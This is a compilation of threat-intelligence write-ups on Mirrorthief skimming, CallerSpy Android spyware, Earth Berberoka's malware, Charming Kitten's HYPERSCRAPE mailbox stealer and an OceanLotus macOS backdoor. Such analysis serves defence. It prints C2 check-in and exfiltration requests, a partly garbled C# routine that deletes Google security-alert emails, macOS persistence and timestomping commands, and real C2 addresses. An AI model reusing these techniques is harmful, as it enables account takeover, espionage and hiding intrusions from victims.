IT and security teams should restrict or disable outdated components, and habitually monitor websites and applications for any indicators of suspicious activity that could lead to data exfiltration, execution of unknown scripts, or unauthorized access and modification.


The following Trend Micro solutions, powered by XGen™ security, protect users and businesses by blocking the scripts and preventing access to the malicious domains:  Trend Micro™ Security Smart Protection Suites and Worry-Free™ Business Security Trend Micro Network Defense Hybrid Cloud Security  Indicators of Compromise (IoCs)  Indicator Attribution 30c8be0d9deb59d98f7e047579763559f2c2dd9a7b4477636afcbebaaebc7dc5 Mirrorthief skimming script hash (detected as Trojan.JS.MIRRORTHEIF.AA) cloudmetric-analytics[.]com Mirrorthief malicious domain hxxps://cloudmetric-analytics[.]com/ga[.]js


Mirrorthief


malicious URL hxxps://cloudmetric-analytics[.]com/analytics[.]js Mirrorthief malicious URL hxxps://cloudmetric-analytics[.]com/analytic[.]php?ccm_post= Mirrorthief malicious URL hxxps://g-analytics[.]com/libs/analytics[.]js Magecart Group 11 malicious URL hxxps://ebitbr[.]com/api[.]js ReactGet Group malicious URL


With special thanks to our colleagues at abuse.ch and The Shadowserver Foundation for helping with the sinkholing of Mirrothief’s malicious domain and remediation reporting        Tags  Malware | APT & Targeted Attacks | Research | Web | Data center


We found a new spyware family disguised as chat apps on a phishing website.


We believe that the apps, which exhibit many cyberespionage behaviors, are initially used for a targeted attack campaign.


We first came across the threat in May on the site http://gooogle[.]press/, which was advertising a chat app called “Chatrious.”


Users can download the malicious Android application package (APK) file by clicking the download button indicated on the site.


The website became inactive for months after that encounter in May.


We only noticed that it came back in October, this time with a different app called “Apex App.”


We have identified this as a spyware family that can steal user’s personal information.


Trend Micro detects both of the threats as AndroidOS_CallerSpy.HRX.


Figure 1.


Screenshots of Chatrious (left) and Apex App (right) Behavior analysis CallerSpy claims it’s a chat app, but we found that it had no chat features at all and it was riddled with espionage behaviors.


When launched, CallerSpy initiates a connection with the C&C server via Socket.IO to monitor upcoming commands.


It then utilizes Evernote Android-Job to start scheduling jobs to steal information.


Figure 2.


CallerSpy initiates C&C connection (left) and then starts scheduling jobs (right)


CallerSpy sets several scheduling jobs to collect call logs, SMSs, contacts, and files on the device.


It also receives commands from the C&C server to take screenshots, which it later sends to the server.


Figure 3.


Scheduled jobs  Source Command alive_latest_files_watcher Starts latest_files_watcher job and keeps it alive enviorment_schedulers


Configures


environment record module keep_enviorment_scehdular_alive


Starts the enviorment_scehdular job and keeps it alive keep_listener_alive Starts listener job and keeps it alive latest_files_watcher


Collects latest call logs, SMSs, contacts, and files listeners


Updates configuration and takes a screenshot record_enviorment


Records environment remote_sync


Uploads privacy to the remote C&C server sync_data_locally Collects all call log, SMS, contacts, and files information on the device   Table 1.


Some of CallerSpy’s scheduling job tags


All of the stolen information are collected and stored in a local database before they’re uploaded to the C&C server periodically.


This spyware targets the following file types: jpg, jpeg, png, docx, xls, xlsx, ppt, pptx, pdf, doc, txt, csv, aac, amr, m4a, opus, wav, and amr.


Figure 4.


Privacy database


The screenshot gets captured when a command is received from the C&C server.


The screenshot image then gets encoded using Base64 and sent back to the server via a preconfigured Socket.IO connection.


Figure 5.


Monitor commands from C&C server (left), take and send the screenshot (right)


Infrastructure analysis


The domain gooogle[.]press masquerades as Google to trick users into downloading the app.


The domain even goes into putting a supposed copyright detail at the bottom of the website.


Figure 6. Fake copyright info


The attackers behind this campaign made an effort to hide their tracks.


Whois Lookup reveals that this domain was registered on February 11, 2019 at Namecheap.


However, we found that all the registrant data was untraceable.


It is important to note, however, that domain privacy protection is common among domains that Namecheap offers.


Figure 7. gooogle[.]press registration info


We did catch four C&C IP addresses, all hosted on a legitimate service.


We can only confirm that the C&C service uses Node.js on port 3000.


Initial phase of a bigger campaign


Based on the aforementioned clues and past findings, we believe that this is a new campaign.


There have been no detections for it on VirusTotal at the time of writing.


Figure 8.


VirusTotal scan result


The campaign’s target is still unclear because we have not seen actual victims.


We also conclude that this is the initial phase of an attack based on the following reasons:  CallerSpy, as it is now, could prove uneven for a targeted attack.


It has no user interface (UI), no real useful feature, and only implements espionage features.


It uses the default app icon and even is labeled as “rat.”


We also found some debug code left in CallerSpy.


Figure 9.


CallerSpy icon and label (left), debug code (right)


Sample certification information indicates that it is only used for testing.


Figure 10.


Certification details  The download section of the webpage has three buttons indicating Apple, Android and Windows platforms, but it only supports Android for now.


Figure 11.


The app advertises to be available on different platforms  So far, our monitoring has not found any volume infection, which could mean that the threat actor may be waiting for a chance to spread the malware.


The malicious apps can be detected by Trend Micro solutions, such as the Trend Micro™ Mobile Security for Android™.


End users can also benefit from its multilayered security capabilities that secure the device owner’s data and privacy and safeguard them from ransomware, fraudulent websites, and identity theft.


For organizations, the Trend Micro Mobile Security for Enterprise suite provides device, compliance, and application management, data protection, and configuration provisioning.


It also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites.


Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.


Indicators of Compromise (IoCs)  SHA-256 Package name Label 0c4b08bec1251b1ebc715a7ef1a712cdcb4d37ce0093d88f7fa73b0e05bf7b0e com.sas.gplayservices.accesibility GSERVICES 38acf26161a2c6429ee40d9b70d8419a9bd00eaa8740d221f943cea3229372dd com.sas.gservices.accesibility GSERVICES 3bf85d0aff5ddc0c57e43b879631ee692d98d01f5c964336471f1cdfe0d291f8 com.example.rat rat 7cb0eb93de496e2141b6e0541465ca71a84063867381085692885c75aa59cb1b com.pdf.searcher.dd Pdf Searcher 8ad18bd8f5d2f1fd9e00211170e8a540ddf7f51618588fab31b4ddd2b34b75e1 com.pdfd.researcher.resaq_ver1 Caller c8e1a702a27309c22728792c64aad4abc14ec2bfad1b30a4f27b8ebc6bcc68ff com.sas.gservices.accesibility GSERVICES   C&C servers  3.95.71.123:3000  18.206.105.66:3000  40.114.109.69:3000  52.21.5.241:2000  Phishing domain  http://gooogle[.]press/    MITRE ATT&CK Techniques  Tactic Technique ID Description Initial Access Masquerade as Legitimate Application T1444 Used to masquerade as a legitimate chat app Persistence Abuse Device Administrator Access to Prevent Removal T1401


Used to request device administrator privilege Persistence


App Auto-Start at Device Boot T1402


Used to listen for the BOOT_COMPLETED broadcast Defense Evasion Suppress Application Icon T1508


Used to suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed Discovery File and Directory Discovery T1420


Used to enumerate external storage file system Discovery Location Tracking T1430 Used to track device’s location Collection Access Call Log T1433 Used to gather call log data Collection Access Contact List T1432 Used to gather contact list data


Collection Capture Audio T1429 Used to record audio information Collection Capture SMS Messages T1412 Used to collect SMS messages


Collection Data from Local System T1533 Used to collect files from the device, including documents, photos, and  media files


Collection Location Tracking T1430 Used to track device’s location


Collection Screen Capture T1513 Used to take screenshot on the device Exfiltration Standard Application Layer Protocol T1437 Used Standard HTTP Protocol Command and Control Uncommonly Used Port T1509 Used uncommon ports 2000, 3000


Tags  Malware | APT & Targeted Attacks | Research |


Mobile | Phishing


We recently discovered a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet).


Based on our analysis, this group targets gambling websites.


Our investigation has also uncovered that Earth Berberoka targets the Windows, Linux, and macOS platforms, and uses malware families that have been historically attributed to Chinese-speaking individuals.


In this blog entry, we provide an overview of the Windows malware families used by Earth Berberoka in its campaign.


This malware lineup includes tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, and a brand-new multistage malware family that we have dubbed PuppetLoader.


We discuss the full technical details of Earth Berberoka’s malware families aimed at Linux and macOS as well as Windows, infection vectors, targets, and possible connections with other APT groups in our research paper “Operation Earth Berberoka: An Analysis of a Multivector and Multiplatform APT Campaign Targeting Online Gambling Sites.” Technical analysis


PuppetLoader


We discovered a new malware family that we have dubbed PuppetLoader.


It is a complex, five-stage malware family that uses some interesting techniques, including hijacking loaded modules to launch malicious code and hiding malicious payloads and modules in modified bitmap image (BMP) files.


Stage 1: Obfuscator and loader Incorrect RC4 implementation


In this stage, a blob of payload data is decrypted using a hard-coded key (2726c6aea9970bb95211304705b5f595) and what appears to be an RC4 (Rivest Cipher 4) algorithm.


However, the cipher’s “swap” operation in the pseudorandom generation part of the cipher code was improperly implemented.


This resulted in the proper encryption of only the headers and the first few sections of the payload, while the latter sections were left almost entirely in clear text.


It seems that this hard-coded key and flawed RC4 implementation were also used in a malware family named TigerPlug, probably because it spreads the PlugX malware.


We found no public reporting of its behavior and features.


Hijacking loaded module


After the payload is decrypted, it is loaded in the machine’s memory and is executed using a stealthy method: PuppetLoader starts by loading a legitimate DLL from the Windows\System32 directory.


The loading process is then hijacked to replace the legitimate library with a malicious one.


This is done by hooking NTDLL APIs such as NtQueryAttributesFile, NtOpenFile, NtCreateSection, NtMapViewOfSection, NtQuerySection and ZwClose.


The loader uses undocumented NTDLL APIs, such as RtlPushFrame, RtlPopFrame, and RtlGetFrame, to avoid recursive booking, which happens when a hooked function indirectly calls itself.


To properly load the malicious payload, a frame tagged as “LDFM” is allocated and filled with the necessary parameters, such as file names’ memory addresses and allocated buffer handles or addresses that contain the malicious payload.


After their values are identified, some parameters are set immediately, while others are set at a later time.


Figure 1.


LDFM loading frame      LdrLoadDll is then called to load a legitimate asyclfilt.dll library.


Afterward, previously hooked API functions are called, resulting in the loaded DLL name’s being replaced with lz32.dll, which is a legitimate DLL.


The content of this legitimate DLL is then replaced by a malicious payload that is inside the hooked NtMapViewOfSection function.


Then, the LdrLoadDll function rebases the newly loaded malicious image and loads all of the needed dependencies.


The malware no longer needs the frame once the handle is returned from the LdrLoadDLL function, which is why it pops the frame by calling RtlPopFrame, unhooks previously hooked functions, and verifies whether the loading is successful or not by calling GetModuleHandleW (asycfilt.dll).


The malware then dynamically resolves the export function called Install and sets the parameter value to “11BF29E1371C0D83C530BD1BF346”, which decrypts to a function called OneTime.


For its command-line parameters, PuppetLoader uses the same flawed RC4 implementation using the password “whk0q9ogev6ofg8d”.


These hijacking steps result in the following:


The loaded asycfilt.dll module can be seen by parsing the PEB_LDR_DATA structure that contains all loaded modules in the current process.


Figure 2. asycfilt.dll shown among loaded module names      lz32.dll is opened based on process monitoring tools.       Figure 3. lz32.dll shown among opened files      Only PuppetLoader’s dropper payload is loaded and none of the previously mentioned libraries is actually loaded.


Stage 2: Dropper


The dropper creates and drops several files in an infected machine.


File Function CpuppetProcessFileSharer Used for sharing data during the different infection stages Config.ini Saves the execution reason and the globally unique identifier (GUID) value based on ComputerName MSVCPX00.dll DLL file of BasicLoader verisign.bmp BMP file with encrypted Core bitmap.bmp BMP file with encrypted Client.MainConsole


Table 1.


The files created and dropped by the dropper The hard-coded GUID ({78106D5F-CD1A-A8C4-A625-6863092B4BBA}) is inserted into CPuppetProcessFileSharer (C:\\Users\\Public\\Pictures\\Desktop.inf).


We believe that it serves as a marker that stage 2 has been completed.


Config.ini (C:\Users\Public\Videos\Config.ini) contains the GUID and the reason, which is the hard-coded value “StartupBasicLoader” encrypted using a key (whk0q9ogev6ofg8d).


The svchost.exe is started in suspended mode with this command-line parameter:  -cmd -NoModuleLoadDLL -DisplayName=KeepAuthority.Client.MainConsole.x64.Release -InvokeMethodName=Run -InokeMethodParam=NULL”


This is also encrypted with the previously mentioned key and a new thread is created within svchost.exe to make it load the BasicLoader payload, MSVCPX00.dll.


It is interesting to note that there is a typographical error in “-InokeMethodParam.”


Stage 3: BasicLoader


The BasicLoader stage starts by adding a hard-coded GUID ({78106D5F-CD1A-A8C4-A625-6863092B4BBA}) into CPuppetProcessFileSharer.


As with stage 2, we believe that this is likely a marker that stage 3 has started running.


BasicLoader searches for BMP files across directories in Users\\Public (Desktop, Documents, Downlaods, Music, Pictures, and Videos).


It checks each directory for BMP files that would pass the required structure.


For the BMP files that do, the payload appended to the BMP file is decrypted, loaded into memory, and executed.


The BMP file is made up of only 33 x 11 pixels and 338 bytes, and the data appended to it is the payload that is encrypted with the same flawed RC4 implementation.       Figure 4.


A small BMP file, to which encrypted payloads are appended     Stage 4:


Core


This stage begins when a hard-coded GUID ({7D8DA9DC-1F3B-2E5C-AA59-9418E652E4AA}) is added to CPuppetProcessFileSharer.


Similar to the other stages, this is likely a marker that stage 4 has started running.


After this, the malware starts a system logger thread, where the logged information is received via a pipe and is saved to a file with a hard-coded name.


The logged information can come from other modules or processes.


Based on our analysis, each log file entry is separated by a separator (0xAABBCCDD), followed by a custom RC4 password and message length.


The decrypted log can include the following information:


The module that was run The parameters at which this module was run At which stage (GUID from CPuppetProcessFileSharer) the action was performed       Figure 5.  Decrypted log from Core     The following command-line arguments are also implemented during this stage:  -DisplayName -InokeMethodParam (sic) -InvokeMethodName -NoModuleLoadDLL -LoadShellcode  While the other arguments are mostly self-explanatory, we highlight two arguments worth noting: -NoModuleLoadDLL uses the same technique as the stage 1 loader and -LoadShellcode allocates a memory block, copies shellcode, and executes it.


Stage 5: Client.MainConsole


This is the main client binary written in C++, which is the last stage of PuppetLoader’s infection chain.


The code is structured in several classes that handle different tasks, such as managing the interactive shell, uploading and downloading files, installing new modules, monitoring victim behavior, and  executing callback functions when conditions are met.


CPipeCmdManager – interactive shell manager  Arguments: -flushusersession -createcmd -destorycmd (sic) -excutecmd -cmdkeepalive  CommonLib::CcmdMulArgDecoder – command-line argument decoder, additional module related to command-line arguments  Arguments: -ModuleLog -LogText -ModuleID -ModuleVersion -MountStatus -Path -IsDelete -ModuleKeepAlive -UploadFile


The client then establishes communication with a command-and-control (C&C) server via UDP (User Datagram Protocol) and recognizes different types of custom UDP packets:  UDP packet Description


RemoteModuleCommandPacket


Command to be executed by interactive shell RemoteModuleCommandResultPacket Result of running shell command FileTransferContent_Packet Determines whether to upload or download a file UploadFilePacket


Uploaded file content FileManage_FolderContent_Packet Folder content VecProcessPacket Vector object with running processes InstallModulePacket BMP with encrypted module to be installed


RemoteClientSystemInfoPacket        Sent by login callback every time a new user logs in ModuleKeepAlivePacket Tells the C&C server that the connection is still alive


Table 2.


The custom UDP packets recognized by the client


The backdoor functions implemented in the main client are:  Interactive shell Upload file Download file List files Terminate process List processes


Install module Login callback Enumerate RDP sessions


The communication protocol via UDP uses the same RC4 encryption.


A sent and/or received packet contains a 16-byte RC4 key and the length of an RC4-encrypted payload, followed by another packet with the encrypted payload itself.


oRAT


Another malware family that we obtained both Windows and macOS samples of during our investigation was oRAT.


Interestingly, this was the first time that we had analyzed samples of this malware family written in the Go language.


The oRAT droppers that we found in our analysis were a MiMi chat application built using the Electron JS framework and a DMG (disk image) file.


We discuss the full details of both in our research paper.


The samples are flagged as version 0.5.1 for both Windows and macOS samples, and have the same features and configurations.


The configuration file and the AES decryption key are appended in an encrypted form to the PE (Portable Executable) file overlay.


Figure 6.


The decrypted oRAT configuration     The configuration is decrypted using the AES-GCM (AES with Galois/Counter Mode) algorithm.


The malware then parses it and enables the gateway or traffic forwarder mode if it is specified in the configuration settings.


For the malware operator to directly connect to an infected machine and execute commands via GET or POST requests, the malware starts local servers on the infected machine to listen on ports that have been specified in the configuration settings for control commands.  The network communications can be in plain text or encrypted, depending on the configuration of the file:   “tcp” for plain text “stcp” for encrypted TCP communications using the golang-tls library “sudp” for encrypted UDP traffic using the Quic-go library


The control server is implemented by registering routes.


This simple mechanism leads to translating GET/POST requests directly as internal Go commands.


Requesting a URL therefore results in executing the corresponding code on an infected system.


We obtained oRAT samples that register these routes:   GET /agent/info GET /agent/ping POST /agent/upload GET /agent/download GET /agent/screenshot GET /agent/zip GET /agent/unzip GET /agent/kill-self GET /agent/portscan GET /agent/proxy GET /agent/ssh GET /agent/net  PuppetDownloaders (C++ downloaders)


During our investigation, we also saw malicious websites that distribute fake Adobe Flash Player updates that were actually delivering C++ downloaders.


The infection starts with an executable written in C++ that connects through a Winsock API to a domain or IP address in a specific port.


The downloaded content is saved as SMTemp.dat, and using the executable’s file name and a hard-coded XOR key, a file named Loader.dll is decrypted and copied to the disk.


If the executable is renamed for whatever reason, the DLL decryption fails and the malware’s second stage does not go through.


If the SMTemp.dat file exists, the Loader.dll file executes it.


After that, the loader decrypts a legitimate Adobe Flash Player installer and executes it, in order to deceive the victim into thinking that the executable is a legitimate installer.


During our investigation, we noted that the server hosting the second stage of the PuppetDownloaders malware payload was offline.


It is also interesting to note that the string decryption routine of this malware is a simple XOR with the string “2020-05-24 13:00:29” as its key.


The first 13 bytes of the password that is used to decode the string are the same as the last 13 bytes.


Figure 7.  XOR decryption routine


We dubbed these downloaders PuppetDownloaders since they are connected to the PuppetLoader malware family, as evidenced by our observations:  This malware and PuppetLoader both use the same string decryption routine that uses the same key.


This malware and PuppetLoader both use the same XOR key (2726c6aea9970bb95211304705b5f595) that is used to decrypt the embedded Loader.dll file.


This malware and PuppetLoader’s decrypted Loader.dlls share similar strings such as “[-] UnExist pwszModuleFunName:”.


This suggests that a common framework was used to compile both DLLs.


MFC socket downloaders


We also saw WinRAR self-extracting (SFX) files dropping downloaders written using the Microsoft Foundation Class Library (MFC) framework.


These MFC socket downloaders have an identical structure: One function creates a socket, connects to a domain or IP address, sends a short string, and then calls “recv” twice.


The code flow is redirected through a call to EnumDesktopsA or EnumWindows, whose callback function pointers point to the downloaded content.


The downloaders attempt to access ports 8080, 29527, and 8885.


They also send the strings “feiji”, “@5436”, and “fhfgj@jfggdsg” to the sockets.


We found multiple additional samples of the same malware family that have the same structure and send the same strings.


However, it is possible that multiple groups might be covertly sharing the source code for this malware.


PlugX PlugX is a remote access tool (RAT) that has been used as a malicious tool for espionage for more than a decade.


We found that Earth Berberoka uses PlugX to target 32-bit and 64-bit architectures, based on the samples we obtained and analyzed.


This malware family sends a DWORD, a 32-bit unsigned integer, in the HELLO packet.


A compromised system then sends the HELLO packet, which looks like a date in the “yyyymmdd” format, to the C&C server.


We found the following DWORDs in multiple samples we analyzed, which suggest that the versions we found were developed within the last three years: 20190520, 20201106, and 20210804.


All of the samples we found are loaded in the same way: A legitimate and signed file that is vulnerable to DLL sideloading is placed alongside a malicious DLL, which decrypts and loads the third file containing the final payload.


One of these malicious DLL files has the PDB (program database) path C:\Users\Administrator\Desktop\Plug7.0(Logger)\logexts\x64\Release\logexts.pdb.


Gh0st RAT


We also saw at least three different variants of Gh0st RAT, another malware family that has been in the wild for more than 10 years, being used in Earth Berberoka’s campaign.


This malware family’s source code is public, which is why it has many variants.


One of the variants we analyzed had an interesting destructive feature: It replaces the master boot record (MBR) to display an explicit message (“I am virus ! F*ck you :-)”).


This particular message was also seen in a public report from a victim of this Gh0st RAT variant.


A 2017 Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) report also discussed how Gh0st RAT variants wiped the MBR and replaced it with messages that varied across different samples.


Other Known Malware Families


We also found other legitimate tools being abused by Earth Berberoka and a malware family being used by the group in its campaign:  Quasar RAT – a Windows-based open-source RAT that has been used by APT groups for network exploitation


AsyncRAT – an open-source RAT that can be used to remotely monitor and control devices via an encrypted connection Trochilus – a stealthy RAT that can evade sandbox analysis and can be used in cyberespionage campaigns  Security recommendations


Our analysis points to Earth Berberoka’s having multiple tools and a large infrastructure at its disposal to target the Southeast Asian gambling market.


To avoid falling victim to Earth Berberoka’s attacks, users and operators of gambling websites can adopt the following security recommendations:  Properly vet emails, websites, and apps before clicking on links or downloading apps.


Download apps only from trusted sources.


Watch out for malicious website flags, such as errors in grammar and spelling.


Block threats that arrive via email, such as malicious links, through hosted email security and antispam protection.


Use a multilayered security solution that helps with detecting, scanning, and blocking malicious URLs.


The full technical details of our investigation can be found in our research paper, which we will publish soon.


We list down the indicators of compromise (IOCs) for Windows, Linux, and macOS in separate text files.


We also provide the domain list in a separate text file.


Tags  APT & Targeted Attacks | Endpoints | Research | Articles, News, Reports


As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.


For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.


Now, we’re shining light on a new tool of theirs.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


We have seen it deployed against fewer than two dozen accounts located in Iran.


The oldest known sample is from 2020, and the tool is still under active development.


We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.


This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.


Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.


After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.


Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.


The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.


We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.


In the version tested, the C2 was unobfuscated and stored as a hardcoded string.


In later versions it was obfuscated with Base64.


GET http://{C2}/Index.php?Ck=OK HTTP/1.1


Host: {C2}


Accept-Encoding: gzip Connection: Keep-Alive


The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.


A new form is displayed if the information is not provided via command prompt.


Once provided, the data in the "Identity" field is sent to a C2 for confirmation.


Again, the response is expected to be "OK".


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


Host: {C2} Accept-Encoding: gzip


If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.


After parsing, the cookies are inserted into a local cache used by the embedded web browser.


A new folder named "Download" is created adjacent to the main binary.


The browser then navigates to Gmail to begin the data collection.


The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.


If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.


Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.


The language is returned to its original setting when the run is finished.


HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.


It does the following for each email found: The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.


A log file is written containing a count of the emails that were downloaded.


When finished, a HTTP POST request is made to the C2 to relay the status and system information.


The downloaded emails are not sent to the C2.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


The program will delete any security emails from Google generated by the attacker’s activity.


private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName("span") where x.TextContent.StartsWith ("Security alert") || x.TextContent.StartsWith("Archive of Google data requested") || x.TextContent.StartsWith("Your Google data archive is ready") || x.TextContent.StartsWith("Your Google data is ready") || x.TextContent.StartsWith("Critical security alert") ||


x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


StartsWith("Help us protect you: Security advice from Google")


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


GeckoHtmlElement > (


; bool flag = list.Count == 0; return !flag; }


Data from Google Takeout is also available upon request, but the option was only found in early builds.


The functionality was not automated and it's unclear why it was removed in later versions.


When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.


When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.


public void ManageTakeOut() { string text = "PipeName";


Process process = new Process(); process.StartInfo.Arguments = string.Format("PIPE Google \"{0}\"", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();


PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)


{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }


pipeCommunication.Close(); }


TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.


It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.


We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries 03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa


Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb


We identified a MacOS backdoor (detected by Trend Micro as  OSX_OCEANLOTUS.D) that we believe is the latest version of a threat used by OceanLotus (a.k.a. APT 32, APT-C-00, SeaLotus, and Cobalt Kitty).


OceanLotus was responsible for launching targeted attacks against human rights organizations, media organizations, research institutes, and maritime construction firms.


The attackers behind OSX_OCEANLOTUS.D target MacOS computers which have the Perl programming language installed.


The MacOS backdoor was found in a malicious Word document presumably distributed via email.


The document bears the filename “2018-PHIẾU  GHI  DANH  THAM  DỰ  TĨNH  HỘI HMDC 2018.doc,” which translates to “2018-REGISTRATION FORM OF HMDC ASSEMBLY 2018.doc.”


The document claims to be a registration form for an event with HDMC, an organization in Vietnam that advertises national independence and democracy.


Figure 1. Graphic used by the malicious document


Upon receiving the malicious document, the user is advised to enable macros.


In our analysis, the macro is obfuscated, character by character, using the decimal ASCII code.


This is shown in the figure below.


Figure 2.


Code snippet of the obfuscated document


After deobfuscation, we can see that the payload is written in the Perl programming language.


It extracts theme0.xml file from the Word document.


theme0.xml is a Mach-O 32-bit executable with a  0xFEEDFACE signature that is also the dropper of the backdoor, which is the final payload.


theme0.xml is extracted to /tmp/system/word/theme/syslogd before it’s executed.


Figure 3. Deobfuscated Perl payload from the delivery document Dropper analysis


The dropper is used to install the backdoor into the infected system and establish its persistence.


Figure 4.


The main function of the dropper


All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key.


There are two forms of encrypted strings: an RSA256-encrypted string, and custom base64-encoded and RSA256-encrypted string.


Figure 5. Hardcoded RSA256 key showing the first 20 characters


Using the setStartup() method, the dropper first checks if it is running as a root or not.


Based on that, the GET_PROCESSPATH and GET_PROCESSNAME methods will decrypt the hardcoded path and filename where the backdoor should be installed.


The locations:


For root user  path: /Library/CoreMediaIO/Plug-Ins/FCP-DAL/iOSScreenCapture.plugin/Contents/Resources/ processname: screenassistantd


For regular user   path: ~/Library/Spelling/ processname: spellagentd


Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file.


Figure 6.


The dropper installs the backdoor, sets its attributes to “hidden”, and sets a random file date and time


When the dropper installs the backdoor, it sets its attributes to “hidden” and sets file date and time to  random values using the touch command: touch –t YYMMDDMM “/path/filename” > /dev/null.


The access permissions will then be changed to 0x1ed = 755, which is equal to u=rwx,go=rx.  Figure 7.


The magic value 0xFEEDFACF that belongs to Mach-O Executable (64 bit) Methods GET_LAUNCHNAME and GET_LABELNAME will return the hardcoded name of the property list “.plist” for the root user (com.apple.screen.assistantd.plist) and for the regular user (com.apple.spell.agent.plist).


Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/  folder.


The RunAtLoad key will command launchd to run the daemon when the operating system starts up, while the KeepAlive key will command launchd to let the process run indefinitely.


This persistence file is also set to hidden with a randomly generated file date and time.


Figure 8.


Property list with persistence settings launchctl load /Library/LaunchDaemons/filename.plist > /dev/nul or launchctl load ~/Library/LaunchAgents/ filename.plist > /dev/nul will then command the operating system to start the dropped backdoor file at login.


The dropper will delete itself at the end of the process.


Backdoor analysis


The main loop of the backdoor has two main functions, infoClient and runHandle.


